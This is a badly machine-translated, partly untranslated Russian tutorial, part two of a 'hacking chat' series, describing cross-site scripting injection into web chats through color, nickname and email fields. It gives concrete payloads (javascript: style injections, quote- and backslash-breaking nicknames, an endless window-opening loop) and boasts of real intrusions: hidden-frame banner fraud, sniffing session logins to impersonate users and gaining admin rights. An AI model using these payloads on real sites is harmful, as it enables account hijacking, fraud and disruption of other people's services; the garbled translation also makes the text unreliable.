This page has been robot translated, sorry for typos if any. Original content here.

Hacking Chat Teil 2



  • Teil 1
  • Teil 2


  • Variationen über ein Thema

    Im vorigen Kapitel betrachteten wir den Fall, wo die Farbe der Seiten in den Text eingefügt, ohne Anführungszeichen zu begrenzen. Und was tun, wenn die Zitate sind immer noch da? als Text-Chat wie folgt:
    Viator - Alpha, hallo))
    Alpha - Alle Grüße! !!

    Wie Sie sehen können, ist die Farbe, die Anführungszeichen in den Rahmen eingefügt. Dieses Problem ist leicht zu lösen , wenn die Chat - Zeichen nicht filtern‘. Wenn ja, dann können wir schließen Sie einfach das offene Anführungszeichen, und dann das Skript schreiben. Zum Beispiel durch Farben wie rot ‚size = 20‘ <FONT color = # 00ff00> wieder haben wir den Effekt einer großen Schrift einstellen. Achten Sie auf die Lücke und das Apostroph am Ende. Sie werden benötigt für das, was dem schließenden Anführungszeichen wäre, das sich einfügt chatten, nicht unsere Attribute zerstört. Als Ergebnis wird unsere Botschaft sein:

    Shram - Hallo

    Wenn der Chat ein Anführungszeichen nicht entgehen lassen, die durch die Einstellung eingerahmt, Chat der Hack durch diese Einstellung nicht sein kann :( . (Obwohl es einige Dinge sein: das Ende dieses Kapitels sehen ..

    Diese Methode ist sehr oft (fast immer) arbeitet E-Mail-Adressen für die Zuordnung (in chatlanina Parametern oder Rücksendeadresse in Foren und Gäste Bücher Feld). In der Regel ein Verweis auf die Seife geht in den Foren wie folgt:

    <b>&lt;a href=mailto:mylo@myla.net&gt; Fedor Pupkin &lt;/a&gt;</b> (Mailto Fragment: Gateway - Einsätze selbst). Dann fragen wie Seife Wert "style = background-image: url (javascript: die Alert ( '! Nu_netu_u_menya_myla'))", wir eine Benachrichtigung an jeden Besucher senden Online :) () Beachten Sie, dass die Adresse der Seife in der Regel filtert die Eingangssymbole sind nicht installiert). Es stimmt, einige Foren und Chatrooms , als ob Seife Überprüfung, aber dieser Test entspricht die Forderung das Vorhandensein des Symbols @. Wenn ja, bitte die Schöpfer des Forums und sie dem Hund zeichnen sich wie folgt: mylo@myla.net "style = background-image : url (javascript: die Alert ( 'Nu_netu_u_menya_myla!'))".

    In manchen Chatrooms können Sie Ihre eigenen Bilder, Bilder Spezifikation Adressen einfügen. Wie wir bereits wissen, wo es die URL ist, ist es möglich, das Skript einzufügen. Ich werde es nicht einmal kauen. Und das alles so klar.

    Im ersten Kapitel wurde gezeigt, wie das Chat-Eingabeformular zu ändern. Insbesondere war es erforderlich, die relative Wirkung des Feldes auf der absoluten Adresse zu ändern. Allerdings kann Instant Struktur so kompliziert sein, dass solche Veränderungen können sehr viel verlangen. Änderung in allen Fällen befassen unbequem (und kann verwechselt werden). Stattdessen können wir den Tag <base href = ‚http empfehlen: //typachat.ru/'^gt ; Welches ist an einer beliebigen Stelle des HTML-Dokuments eingefügt. In diesem Fall werden alle relativen Adressen relative Adresse des Tags Basis (in diesem Fall relativ typachat.ru), unabhängig von dem tatsächlichen Basis DNS - Namen adressieren.

    Sie wissen wahrscheinlich, was Sniffer? Wenn nicht, dann sage ich dir es Sniffer - eine sehr nützliche Sache, die den Verkehr zu überwachen. Im Falle von Sniffer Live-Chat, die IP-Adressen werden im Chat, sowie deren Namen und Zeitcodes (für einen Chat mit einem temporären Namen) zu bestimmen. Manchmal erlaubt es sogar, um die Admin-Rechte zu bekommen :) ).

    Oft kommt es vor, dass der Spitzname in dem Text-Chat als Link angezeigt wird, wenn darauf geklickt wird, können Sie eine private Nachricht chatovtsu senden. Hier ist, wie es in HTML aussieht:

    Alpha - Hallo!

    Moderator - Hallo!

    Neben den Effekt im Kapitel „Die Wunder Symbol =“ hier möglich Einfügen Skript auf einem Click - Ereignisse auf dem Link ausgelöst wird (wenn IM nicht begrenzend Anführungszeichen filtert - in diesem Fall „- und das Symbol +). Zu diesem Zweck als Spitzname definieren wir die folgende Bedeutung :. "+ alert ( '! Hallo') +" Sie können etwas Miet - Objekte einfügen und ernstere (nur die toString () Funktion), beispielsweise ein Spitzname „+ toString (open ( '// yahoo.com',‚_ top. ‚)) +„verweist den Benutzer, tyknuvshego Sie Ihren Namen, eine Pause von vYahoo Chat :) ).

    Hacking-Chat M

    Wie bereits im ersten Kapitel erwähnt, gibt es zwei Methoden der Chat-Hacking. Alle obigen Beispiele beziehen sich auf das erste Verfahren - Penetrationsverfahren in den Tag-Parameter. Hier möchte ich die zweite Methode zeigen, die Technologie - eine Methode HTML-Struktur Verletzungen.

    Farbe Chat - Nachrichten M gefragt in numerischer Form (und hat daher eine Begrenzung der Länge der Farbe - 7 Zeichen), hatte bizarre Filter, verpasste aber ein einzelnes Zeichen.‘ Hier ist ein Fragment von Beiträgen im Chat:

    <code>&lt;font class="а1"&gt;22:41:24 &lt;/font&gt; &lt;a href="javascript:parent.parent.sewho(&amp;#39;РТУТЬ&amp;#39;)" onMouseOver="window.status='';return true;" target=kbd&gt;&lt;font color=#0066ff class="ку"&gt;РТУТЬ:&lt;/font&gt;&lt;/a&gt;&lt;font color=#FF0000 class="уц"&gt;ПЛУГиПРЕЙ:КОРОШО!&lt;/font&gt;&lt;br&gt;&lt;br&gt;&lt;SCRIPT&gt;top.do_scrolldown();&lt;/SCRIPT&gt;&lt;br&gt;&lt;font class="а1"&gt;22:41:25 &lt;/font&gt; &lt;a href="javascript:parent.parent.sewho(&amp;#39;Весь_в_сертах&amp;#39;)" onMouseOver="window.status='';return true;" target=kbd&gt;&lt;font color=#0000FF class="ку"&gt;Весь_в_сертах:&lt;/font&gt;&lt;/a&gt;&lt;font color=#0000FF class="уц"&gt;Денис_Семенов: ПРАВИЛЬНЕЙ БУДЕТ ВСЕ&lt;/font&gt;&lt;br&gt;&lt;br&gt;&lt;SCRIPT&gt;top.do_scrolldown();&lt;/SCRIPT&gt;</code>

    Wie Sie Farbe zeigt keine Framing Anführungszeichen sehen. Hacking - Technologie ist einfach: Melde dich an einem beliebigen Spitznamen und Farbe‘. Dann Eingabe der Chat, eine Nachricht wie style = background-image: url (javascript: alert ( 'Hello_people !!')). Achten Sie auf die Lücke am Ende - es erforderlich ist. Unsere Botschaft lautet wie folgt:

    <code>&lt;font class="а1"&gt;22:41:24 &lt;/font&gt; &lt;a href=javascript:parent.parent.sewho(&amp;#39;Algol&amp;#39;) onMouseOver="window.status='';return true;" target=kbd&gt;&lt;font color=#0066ff class="ку"&gt;Algol:&lt;/font&gt;&lt;/a&gt;&lt;font color=' class="уц"&gt;' style="background-image:url(javascript:alert('Hello_people!!'))&lt;/font"&gt;&lt;br&gt;&lt;br&gt;&lt;SCRIPT&gt;top.do_scrolldown();&lt;/SCRIPT&gt;</code>

    Es stellt sich heraus , dass ein Teil des HTML - Codes - class = „Ku“> - war in einfachen Anführungszeichen, und wird vom Browser als String-Wert Farbe gesehen. In dieser Linie fällt und Schließwinkel des Tags, so dass unsere Botschaft in dem Tag ist! Ein Teil des Codes, die direkt nach unseren Beiträgen geht vom Browser nicht verstanden und wird ignoriert (und dieser Teil durch einen Raum von unserem Stil Option getrennt werden müssen, da sonst die Einstellung als Ganzes einen Fehler betrachtet wird), aber nach Schriftart Endtag betrachtet Winkel ausgeführt wird . Alles ist sehr einfach.

    Ein Bit eines Backslash

    Der String-Konstanten JavaScript ein spezielles Steuerzeichen hat. Dies ist ein Backslash \. Eine seiner Aufgaben wie folgt: Gehen nach ihm Anführungszeichen ein Symbol zu sein, nicht eine Stopplinie betrachtet wird. Zum Beispiel:

    &lt;Script&gt; alert ( 'It \' s') &lt;/ script&gt; - keine Fehlermeldung aus, da der Apostroph in Kombination mit \ in der Mitte der Linie nicht betrachtet von der Linie zu beenden. Während &lt;Script&gt; alert ( 'Es ist') &lt;/ script&gt; zeigt eine Fehlermeldung.

    Weil er \ Charakter eine Kontrolle ist (und daher nicht direkt in der Zeile angezeigt wird ), dann wird die Karte selbst gibt es eine Kombination von \\. Dies ist eine solche Kombination als ein Symbol angezeigt wird , \.

    Was es alles hat mit Bruch von Chatrooms zu tun? Aber ist dies: einige Chats stellen keinen Filter auf die Anführungszeichen „(oder‚) in dem Spitznamen Feld und ersetzen Sie sie auf einer Kombination des Typs \“(oder \ '), dass in diesem Fall glauben, werden die Anführungszeichen angezeigt werden , wird aber nicht in der Lage als Führer zu handeln, und kann daher nicht die Struktur des HTML brechen. In diesem kurzsichtigen Entwickler der Augen verlieren , die Tatsache , dass der Benutzer das Zeichen \ verwenden kann ihre \ Zeichen zu blockieren. Zum Beispiel, ram ein Fragment des Chat für Benutzernachricht mit dem Spitznamen Sh“wie folgt:

    <code>&lt;a href=javascript:msgto(&amp;quot;Al\&amp;quot;gol&amp;quot;)&gt;Sh"ram&lt;a&gt;</code>

    In diesem Fall in ihrem Namen zitiert nicht Tag-Struktur bestraft. Aber wenn wir den Spitznamen auf Al \ „gol ändern, Einfügen dann einen Schrägstrich vor dem Chat wird die folgende HTML zitieren:

    <code>&lt;a href=javascript:msgto(&amp;quot;Al\\&amp;quot;gol&amp;quot;)&gt;Sh\"ram&lt;/a&gt;</code> Zur gleichen Zeit, unsere slash blockiert Chat slash und Zitat nick zerstört die Struktur von HTML! Dies ist offensichtlich, wenn auf den Link in dem Beispiel tyknut.

    Dieser Effekt kann verwendet werden, Chats zu brechen, indem HTML-Struktur zu brechen. Wir stellen fest, dass in einigen Fällen das gleiche Verfahren durch Begrenzung Anführungszeichen blockiert werden kann, indem das Ende des Nicks Backslash eingefügt wird.

    Vor kurzem bemerkte ich ein weiteres Loch mit dem unsachgemäßen Gebrauch des Symbols \ Programmierer Chats verbunden. Nehmen wir zum Beispiel wird der Benutzer-Spitznamen in den Körper in Form von Chat eingefügt

    <code>&lt;a href=javascript:msgto(&amp;quot;Algol&amp;quot;)&gt;Algol&lt;/a&gt;</code> Wenn wir svoynik auf Al'gol ändern, nehmen die Chat solche einen Spitznamen, aber Al \ ‚gol ersetzen, naiv zu glauben , dass ein Backslash durch Einfügen, werden sie den Tag vor Schäden schützen. In der Tat ist es nicht so :) . Wenn Sie eine solche Spitznamen in den Körper des Chat einfügen, würde es wie folgt aussehen:
    &lt;a href=javascript:msgto(&amp;quot;Al\ gol")'&gt; Al'gol &lt;/a&gt; .
    In diesem Fall wird die Explorer eine Fehlermeldung angezeigt, wenn Sie versuchen Spitznamen in tyknut. Der Grund ist dies: das Zeichen \ sinnvoll ist , nur innerhalb der Javascript - String - Konstanten, aber HTML nicht! Die HTML - Zeichen \ verstehen nicht, und die deshalb fanden zunächst ein Apostroph Ende des Attributs href, trotz der Tatsache , dass \ vor ihm kostet. So kann zum Beispiel ein Nick Algol zerstören ‚= der Tag - Struktur, trotz der Tatsache , dass vor einem Apostroph eingefügt Backslash

    Hacking at http

    Wie bereits erwähnt, kann der Chat - Server referer HTTP - Request - Feld, verfolgen und nicht in den Chat zu starten, wenn dieses Feld von rechts unterscheidet. Um diese pripyatstvy Notwendigkeit zu umgehen, den Header der HTTP-Anforderung durch den Chat-Server (mit Hilfe von speziellen Programmen, wie Naviscope) und schreiben Sie eine spezielle programku, die Anforderungen gesendet zu fangen an den Server sendet. So wird der Inhalt von Anfragen (naprmer Farbwertfeld) kann beliebig eingestellt werden.

    Ich werde nicht auf sie im Detail verweilen. Dies geht über den Bruch HTML.

    Ich nehme zur Kenntnis, dass nur Sie komplizierter als herkömmliche Mittel von HTML oder JavaScript auf der HTTP-Ebene tun können. Auf jeden Fall empfehle ich HTTP-Request-Header anzuzeigen, wenn Chat verwenden. Sie helfen Ihnen, genauer im Chat zu verstehen.

    Wunder mit dem Symbol =

    Glauben Sie, dass für eine Reihe von HTML-Code im Browser angezeigt wird:

    &lt;Font Onclick = alert ( '=')&gt; Text &lt;/ font&gt; ? Ich wette, Sie richtig erraten (außer natürlich, Sie nicht bei Microsoft arbeiten und nicht entwickeln MSIE). Das Ergebnis ist so spezifisch, dass ich nicht ein Beispiel davon machen könnte, wäre sein demonstriert . Aber Sie können ein Wort nehmen, die im Browser-Fenster angezeigt werden: &lt;Fontonclick = alert ( '=')&gt; Text Wie Sie das Starttag in diesem Fall sehen können, ist ganz einfach nicht vom Browser als Tag, obwohl kein Syntaxfehler gesehen :) ). Und was passiert, wenn wir schreiben Text

    Merkwürdigerweise in diesem Fall wird alles in Ordnung sein, obwohl es ein Syntaxfehler war. Und wenn wir auf den Text klicken , wird = eine Warnung eingeblendet. Versuchen Sie, die Apostroph für den dritten zickzack, oder Text zu verschieben:

    &lt;Font Onclick = alert ( '=')&gt; Text &lt;/ font&gt; Wird auch unerwartetes Ergebnis.

    Leider habe ich keine Quelle oder eine ausführliche Dokumentation für MSIE, aber ich denke, dass in MSIE in diesem Fall ist ein offensichtlicher Fehler gibt. Wahrscheinlich analysiert der Browser den Code in zwei Stufen. In der ersten Stufe ordnet es Tags, Attribute und Text, der zwischen ihnen ist, und auf der zweiten analysiert den Inhalt der JavaScript-Tagging - Parameter (es ist nur über die Attribute, die den Wert des Skripts ermöglichen, wie href oder Onclick). In der primären Analyse Browser aus irgendeinem Grund denkt Kombination = ‚Anfang der Zeile, trotz der Tatsache , dass das Symbol = nahodtsya bereits in line! Dann nehmen = ‚für den Anfang der Zeile, sucht das Programm nach dem Ende (während vollständig über die Tatsache vergessen , dass eine Zeile mehr offen und nicht geschlossen). So alles , was = (a = „) und bis zum nächsten Zeichen‚ignoriert folgt und betrachten daher einen String, in dem ersten Beispiel der Browser akzeptiert hat noch keinen Tag: er einen Schließwinkel gefunden, weil sie (sozusagen) in der Zeichenfolge, aber. noch überraschender ist , dass die zweite Stufe der Analyse der Tag - Parameter, nimmt der Browser alles richtig (das durch klicken auf die Worte Text im zweiten Beispiel zu sehen ist), und nimmt die Linie , wo nötig, und eine Klammer Schließwinkel findet auch, wo erforderlich. Dies führt zu diesem Fragment eines dritten Text zweites Beispiel ist in Klartext nicht angezeigt (weil, da es nicht der Körper des Tages ist), ist aber nicht paramatrom-Tag (wie in der Phase der Analyseparameter für die Compiler es einfach nicht kommen)! Flamme Hallo Bill!

    Mit diesem Browser Fehlern ich in der Lage war , aus dem Chat - Code zu kommentieren, werden unter dem Namen einfach nur angemeldet = :) ). Hier ist ein Ausschnitt von Code, der eine Liste der Anwesenden im Chat angezeigt:

    <code>&lt;a href=javascript:parent.window.messageFor("=")&gt;=&lt;/a&gt;&lt;br&gt;&lt;br&gt;&lt;a href="javascript:parent.window.messageFor(&amp;quot;Модератор&amp;quot;)"&gt;Модератор&lt;/a&gt;&lt;br&gt;</code>

    In diesem Fall in der Liste ist mein Spitzname erscheint nicht nur als Fragment zwischen den Anführungszeichen

    )&gt; = &lt;/a&gt; a href = javascript: parent.window.messageFor ( Ich war aus dem Body-Tag: -}. Aber wenn Sie auf Moderator klicken, wurde parent.window.messageFor Funktion mit dem Parameter = aufgerufen. Ähnliche „Effekte“ wurden an meinen Chat-Nachrichten angezeigt.

    Bemerkenswert ist (oder berüchtigt - such jemanden), dass die Panne fast überall geht, wo kann man sogar Faden Che eingeben (zumindest für MSIE 5.50.4134.0600), und Sie brauchen noch nicht einmal zu irgendetwas in der Art und Weise zu verändern. Und das Schlimme ist, dass durch diese schwierig ist, erhebliche Vorteile zu erzielen (wie ein Skript ausgeführt wird).

    Schließlich bemerken wir , dass ein ähnlicher Effekt hat den Charakter und>, die als End - Tag zu sehen ist, trotz der Tatsache , dass er innerhalb der Zeile ist. Fragment

    &lt;Font Onclick = alert ( '&gt;')&gt; Text &lt;/ font&gt; durch den Browser als Fehler interpretiert, und es gibt ein schlechtes Wort, das nicht String-Konstante geschlossen ist.

    Zwei Hacker-Chat T

    Chat-T die folgenden Zeichen in das Farbfeld verpasst haben:

    ' ` = ;

    Wenn Sie die Farbe im Chat-Raum einfügen, Framing die Zitate nicht waren. Fragment von Chat-Nachrichten (übrigens der Autor Chat offenbar nicht hielt es für notwendig, die Tags zu schließen)), obwohl wir hoffen, dass dies aus Performance-Gründen erfolgt):

    <code>&lt;FONT COLOR=008000&gt;&lt;a href=javascript:parent.window.Mtm(&amp;#39;22:18:18&amp;#39;)&gt;22:18:18&lt;/a&gt;- &lt;a href=javascript:parent.window.mfor(&amp;#39;BalamUY&amp;#39;)&gt;BalamUY&lt;/a&gt; : вошел в комнату &lt;FONT COLOR=green&gt;&lt;a href=javascript:parent.window.Mtm(&amp;#39;22:18:03&amp;#39;)&gt;22:18:03&lt;/a&gt; - &lt;a href=javascript:parent.window.mfor(&amp;#39;Fialka&amp;#39;)&gt;Fialka&lt;/a&gt; : Sponsor&gt; Если интересная, то ниче.</code>

    Verlegen, dass der Spalt durch die Filter nicht übergeben. Doch nach einigem Nachdenken, fand ich die folgende Lösung - die Farbe selbst, ich in einfachen Anführungszeichen nahm, und dann keinen Platz setzte Parameter Stil Farbe: ‚red'style = background-image : url (javascript: while ( 1 == 1) offen ( )). Wie in Kapitel Trennraum festgestellt, in diesem Fall ist optional :) ).

    Übrigens war in diesem Chat von Rahmen voll, einschließlich versteckter und leer waren - wahrscheinlich gedacht für zukünftige Expansion. Aber während die Admins über Erweiterungen gedacht, fand ich es sinnvolle Anwendung. Ich war im Chat für eine lange Zeit hängen - ein paar Monate. Und das nicht nur hängen: in einer der versteckten Rahmen ich meine saytik schob. Und saytik waren Banner Banner-Netzwerk. So Makar, ich getaktet mich über hunderttausend banneropokazov und meine Seite sprang auf 5-6 Plätze in der Rangliste von 100 Treffern Rambler Top (in der Gruppe). Leider im Vergleich Banner-Netzwerk, das Verhältnis von Hits / hosts und erkannte, dass es von der Nase herumgeführt. Es stellte sich heraus, dass der gleiche Besucher einmal 50 pro Tag auf meiner Seite kommt. Mein Konto ist gesperrt. So wohl noch dort hängen, unruhig :) ).

    Aber lassen Sie uns unsere Schafe zurück. Nach einiger Zeit ersetzt die Verwaltung den Chat-cgi-BCCH. Ich weiß nicht, was „Verbesserungen“ wurden in der zweiten Auflage gemacht, aber ich bemerkte nur eine Änderung: jetzt die Farbe Lang Wertes Linie begrenzt war, und war etwa 10 Zeichen (übrigens diese Einschränkung sollte in vielen Chatrooms, obwohl ich verstehe nicht, was die Bedeutung ist ? ist es nicht einfacher Filter auf den eingegebenen Zeichen zu setzen? Während es auf diese Weise möglich ist, sie gegen Pufferüberlauf geschützt werden?). In einer solchen Situation natürlich die alte Methode nicht mehr funktionierte. Cram in 10 Zeichen kann nicht ein anständiges Skript (hier auch selbst Stil passte nicht) sein. Ich erkannte, dass man nur durch den Spitznamen oder der zweiten Methode brechen kann - zu zerstören strkturu HTML. Ein paar Stunden später habe ich versucht, hin und her. Neben günstiger nick Vernichtungswirkung (siehe Kapitel „Die Wunder des Symbols =“) nichts passiert ist. die persönliche Struktur zu brechen hat aus folgendem Grunde nicht zulassen: statt der Farbe Symbol ‚Einfügen mir die Linie geöffnet, aber es wurde von einem Apostroph verschlossen , die in Bezug auf die Zeit (hier war Chat nur Glück hat - es ist nicht als Schutzmaßnahme gedacht war, obwohl viele Chats speziell für diesen fiktiven eingefügt <! ''‘> Tag - Typ):

    <code>&lt;FONT COLOR="&gt;&lt;a href=javascript:parent.window.Mtm(" 22:18:18')&gt;22:18:18&lt;/a&gt; - &lt;a href=javascript:parent.window.mfor(&amp;#39;Algol&amp;#39;)&gt;Algol&lt;/a&gt; Привет!</code>

    Das ist nur ein Fragment komentirovat <a href = javascript :. Parent.window.Mtm ( Und alles was ich habe ist die Entfernung der Tag - Referenzen zu der Zeit , wenn es möglich wäre , stattdessen einfügen odnarnyh Anführungszeichen, doppelte, das Problem nicht wäre, denn im Chat. doppelte Anführungszeichen werden nicht verwendet. Aber das Zeichen „nicht die Filter passiert. Sonnenuntergang unter dem Namen Typ Algol zu = nichts gab , da die Zeichen nach‚Algol =‘)> ignoriert und nicht dem Tag - Parameter in Betracht gezogen. arbeiteten natürlich eine andere Option in diesem Kapitel beschrieben später“ Variationen über Thema“, aber diese Skripte funktioniert nur, wenn Sie auf jedem meines Link klicken und :( (. Ich war bereit, zugeben, dass der gesamte Chat kann nicht knacken. Und dann im letzten Moment, Graben und in den HTML-Darm zu experimentieren, entdeckte ich, dass das Backquote auch eine Begrenzung in den HTML-Strings !!! Und dieser Charakter Passfilter! Ohne ich denke angemeldet mit dem Spitznamen Algol und Farbe `und dann als Chat an die folgenden Zeile gesendeten Nachrichten: .` style = background-image : url (javascript: alert ( '! Pobeda_budet_za_nami')) Meine Botschaft war in dem Körper des Chat wie folgt.:

    <code>&lt;FONT COLOR="`"&gt;&lt;a href=javascript:parent.window.Mtm(&amp;#39;22:18:18&amp;#39;)&gt;22:18:18&lt;/a&gt; - &lt;a href=javascript:parent.window.mfor(&amp;#39;Algol&amp;#39;)&gt;Algol&lt;/a&gt;`style=background-image:url(javascript:alert('Победа_будет_за_нами!'))</code>

    In diesem Fragment <a href=javascript:parent.window.Mtm('22:18:18')> 22.18.18 </a> - <a href = javascript: parent.window.mfor ( 'Algol') > Algol </a> voll komentirovat und wurde wie die Farbe betrachtet, und der Parameter Stil innerhalb des Tags ist! Das Skript gearbeitet :) ).

    So T Chat-Programmierer haben eine neue Version ihrer Nachkommen zu entwickeln. Interpretation bleibt überrascht, wie viele Lücken sie verlassen, und korrigieren Sie sie langsam. Sie sagen , dass die ganze Sache in der Psychologie: Die Entwickler von Schutzsystemen nicht selbst in den Einbrechern stellen können, und werden auf dem System beurteilt, für seinen Teil, statt dem , was hätte von außen um es zu betrachten.

    „Interception“, „Betrug“ und der Erhalt Rechte.

    Die Methoden der Beschlagnahme von Auslandskommunikation (Gefreite) und Senden von Nachrichten im Namen anderer chatovtsev. Es gibt verschiedene Methoden der Interceptions, für verschiedene Arten von Chats gedacht. Wenn der Chat vollständig die Operation „Betrug“ gefährdet ist (dh einfügen Bemerkungen im Auftrag anderer chatovtsev) ist nicht schwer, es ist nötig, nur das Opfer in privaten Skript zu senden, die einen Text in der Cue-Linie schreiben, und dann drücken Sie die Taste „Senden“. Kann in ähnlicher Weise ziehen und privat Benutzer. Allerdings sind solche Methoden zu grob, primitiv und schwierig zu bedienen. Ausgefeiltere Methoden wie das Abfangen, in dem er Sie an einen anderen Benutzer chatten nimmt.

    Wenn Sie HTML-Chat erstellen, ist das Hauptproblem , dass das HTTP - Protokoll im Prinzip keine persistenten Verbindungen unterstützt. Das bedeutet, dass jedes Mal, wenn Sie eine Nachricht senden möchten oder eine Replik, ein Chat-Programm muss „wissen“ Sie erkennen, dass Sie Sie sind. Wenn sie nicht Benutzer erkennen, wäre es nicht in der Lage sein , das Ihnen Ihre Soldaten zu schicken, und nicht in der Lage sein , Ihre Nachrichten in Ihrem Namen zu schreiben. Um die Teilnehmer zu identifizieren, Chat mit unterschiedlichen Methoden. Die am häufigsten verwendete Methode der IP-Adressen und dynamischen Methodennamen. Das erste Verfahren beruht auf der Tatsache, dass der gleiche Benutzer die gleiche IP-Adresse während einer Kommunikationssitzung. Ich werde nicht auf diese Methode wohnen, außer zu sagen, dass diese Methode Nachteile. Insbesondere kann nicht funktionieren, ob der Benutzer einen Corporate Proxy-Server verwendet, oder wenn er geöffnet mehrere Fenster mit Chat. dynamische Methodennamen - Vor kurzem ist ein weiteres Verfahren häufig verwendet. Das Verfahren besteht darin, dass bei jedem Eintrag für den Benutzer in einem Chat-Raum, wird es automatisch eine temporäre eindeutige Login zugeordnet. Dieses Login avtomatticheski Register in Seite, die den Benutzer an das Gateway sendet. Jedes Mal, wenn ein Benutzer eine Form Replik sendet oder anfordert Nachrichten aus dem Chat-Seite sendet sie an den Server einen temporären Login-Namen, dass der Server selbst und den Benutzer identifiziert. Temporäre Login-System generiert zufällige und zwei verschiedene Benutzer denselben Benutzernamen nicht haben kann. Anmelden kann aus mehreren Teilen bestehen. Meistens ist es die Seriennummer des Benutzers in der Sitzung, und sgenererirovanny zufällig passvord. Da die Login-ID „genäht“ in chatovskuyu Seite jeden Benutzer, weiß das System genau, mit welcher kommuniziert er durch den Benutzer, unabhängig von ihrer IP-Adresse, Proxy-Server, die Anzahl der geöffneten Fenster mit dem Chat usw.

    Es ist klar, dass, wenn wir die Anmeldung des Benutzers kennen, würden wir nicht schwierig sein, „lecken“ für den Benutzer, einfach nur seine Seite in der Anmeldung auf dem Login-Namen zu korrigieren. Dann hätte das System ihm genommen ... stellt sich heraus, es leicht, wenn Chat gehackt getan werden kann, und wir sind in der Lage Ihr Bild im Chat einzufügen. Wenn dann der Bild-Sniffer zu verwenden (siehe „Variationen über ein Thema“), dann können wir eine temporäre Anmeldungen aller Benutzer im Chat bekommen! Und wenn wir in jemandes Namen von Benutzern interessiert sind, müssen Sie ihm einen Sniffer privat senden. I ist folgendes zu beachten: die abgefangenen Login nur so lange gültig ist, wenn der Benutzer in einem Chat, wenn logout (und wieder nach unten gehen wird), dann wird er eine neue temporäre Login haben.

    Klar, wenn der Abschnitt temporären Administrator - Login, wird es automatisch auf uns und seine Rechten - wie die Möglichkeit der direkten Einfügen von Tags in der Nachricht (dh keinen Filter auf der <und>), oder die Möglichkeit der Entnahme aus dem Chat, oder Informationen über den Benutzer zu erhalten usw.

    Third-Hacking-Chat T

    Also lassen Sie uns zurück zum Chat T. Langmut nicht allzu langer Zeit Chat-T vollständig auf den neuen Kernel geschaltet. Jetzt hat das Spiel verändert. Zuerst fehlte das Farbfeld fast alle (bis die Zeichen <und>), und ich kann es nicht sotavilo Arbeit hacken. Aber dieses Loch geflickt bald (nicht ohne meine Beteiligung). Die neue Version der Chat-Farbe verpaßt nur Zahlen und Buchstaben. Brechen durch die Farbe ist unmöglich geworden. Das machte mehr izoscherennye Methoden zu suchen. In der Tat, das einzige, was - diesen Spitznamen. Aus meiner eigenen Erfahrung weiß ich, dass durch den Chat-Spitznamen Hack ziemlich schwierig ist, weil die Entwickler ziemlich sorgfältig Filter nick ausgewählt. Jedoch Chat übertriebenen „Chip“, dass „das Zeichen für einen Kurznamen gesetzt deutlich erweitert.“ Es war eine Art von Werbung. Ein wenig schwierig mit den Filtern auf der nick, entdeckte ich, dass die folgenden Zeichen übergeben:

    ' ` = ; \

    Symbol „verabschiedet wurde, aber vor ihm automatisch ein \ einfügen Chat an. Die Mechanismen , mit dieser Kombination verbunden sind , im Kapitel“ Ein bisschen ein Backslash \“. Allerdings sind die in diesem Kapitel beschriebenen Effekte nicht das gewünschte Ergebnis, und waren schwer zu bedienen. Ich war auf der Suche nach einem anderen Lösung. Und ich fand es!

    Schauen Sie sich die Nachrichten im Chat-Snippet:

    <code>&lt;a href='javascript:top.msgto("Algol")'&gt;Algol&lt;/a&gt;&lt;font&gt; Всем приветик &lt;/font&gt;&lt;a href='javascript:top.msgto("Стелла")'&gt;Стелла&lt;/a&gt;&lt;font&gt; Привет &lt;/font&gt;</code>

    Wie Sie sehen können, wurde der Spitzname als Link angegeben, auf zu klicken, die eine bestimmte Funktion verursacht. Handler href Link in einfachen Anführungszeichen eingeschlossen, und der Spitzname war in doppelten Anführungszeichen. Da die doppelten Anführungszeichen verpassen Sie eigentlich nicht den Live-Chat im Sinne des Spitznamen, das über das Argument der Funktion gehen, da es unmöglich war. Nick type = ‚hat nicht funktioniert, weil der Handler hat in einfachen Anführungszeichen eingeschlossen worden und wurde im Kapitel‚Die Wunder des Symbols =‘Effekt mit dem = -Zeichen gezeigt hat nicht funktioniert. И тут я перечитал собственную статью, и обнаружил следующее: если обработчик заключен в кавычки, то первая же закрывающая кавычка считается концом обработчика, даже несмотря на то, что сама она находится внутри других кавычек (и идет как строковая константа). Ie например при компиляции следующего тега:

    &lt;a href='javascript:msgto("Mc'Donald")'&gt; браузер игнорирует двойные кавычки (поскольку они относятся не к HTML а к JavaScript), и воспринимает апостроф после Mc как закрывающую кавычку обработчика. so обработчиком является только javascript:msgto("Mc . Фактически это означало взлом чата. Однако нужно было довести баг чата до нужной "кондиции". Это тоже оказалось непросто. Можно было конечно логиниться под ником типа 'onmouseover=`alert('Hello')` . Но во-первых чат не пропускал слишком длинных ников, а во-вторых в чате полно модераторов, и понятное дело они бы заметили "необычный" ник. Поэтому я решил ломать методом разрушения структуры. После некоторых раздумий я нашел подходящий ник: `='A'=` . Посмотрим как в таком случае сообщения в чате: <code>&lt;ahref='javascript:top.msgto("`='A'=`")'&gt;`='A'=`&lt;/a&gt;&lt;font&gt;` style=background-image:url(javascript:alert()) &lt;/font&gt;&lt;a href='javascript:top.msgto("Стелла")'&gt;Стелла&lt;/a&gt;&lt;/em&gt;</code>

    Фрагмент

    ` style=background-image:url(javascript:alert()) был послан как сообщение в общак. Разберем как браузер компилирует приведенный пример: обработчиком href является 'javascript:top.msgto("`=' . Поскольку обработчик заключен в кавычки, то пробел перед следующим атрибутом тега не требуется. Как таковым и воспринимается A' , а его значением `")'>` . Поскольку значение тега заключено в кавычки, то пробел опять не требуется и дальнейший знак = опять рассматривается как значение некоего атрибута тега: 'A' , как и последующий фрагмент ` ` . Далее следует уже атрибут style=... который оказался внутри тега! Вот так-то :) ).

    Еще несколько взломов многострадального чата T

    Как видно из предыдущей главы, в чате Т свободно можно было втиснуть скрипты, и естественно, что я творил там что хотел (вплоть до того, что назначал себя админом 255 уровня :) . Это конечно сильно не нравилось разработчику чата (с которым я кстати активно общался), и он как бы "пофиксил" баг следующим способом: в сообщениях чатлан он заменял слово script на script , где латинские буквы с и p были заменены на такие же, но из русской раскладки, и естественно, HTML не понимал их. В результате комбинация типа ` style=background-image:url(javascript:alert('Победа_будет_за_нами!')) не работала. Несмотря на то, что по прежнему можно было сниферить чат и ставить обработчики на события типа onmouseover (где префикс javascript: не обязателен, поскольку он по умолчанию считается языком обработчиков событий), но невозможность вставить скрипт, который бы сам запускался меня не устраивала. И тут меня снова выручила многоступенчатая система трансляции HTML. Как уже было замечено, при компиляции HTML в первую очередь компилирует теги и их параметры, а лишь затем компилируется содержимое обработчиков. А теперь вспомним, что каждый символ помимо "обычного" представления имеет закодированное представление (типа ½ или ½ 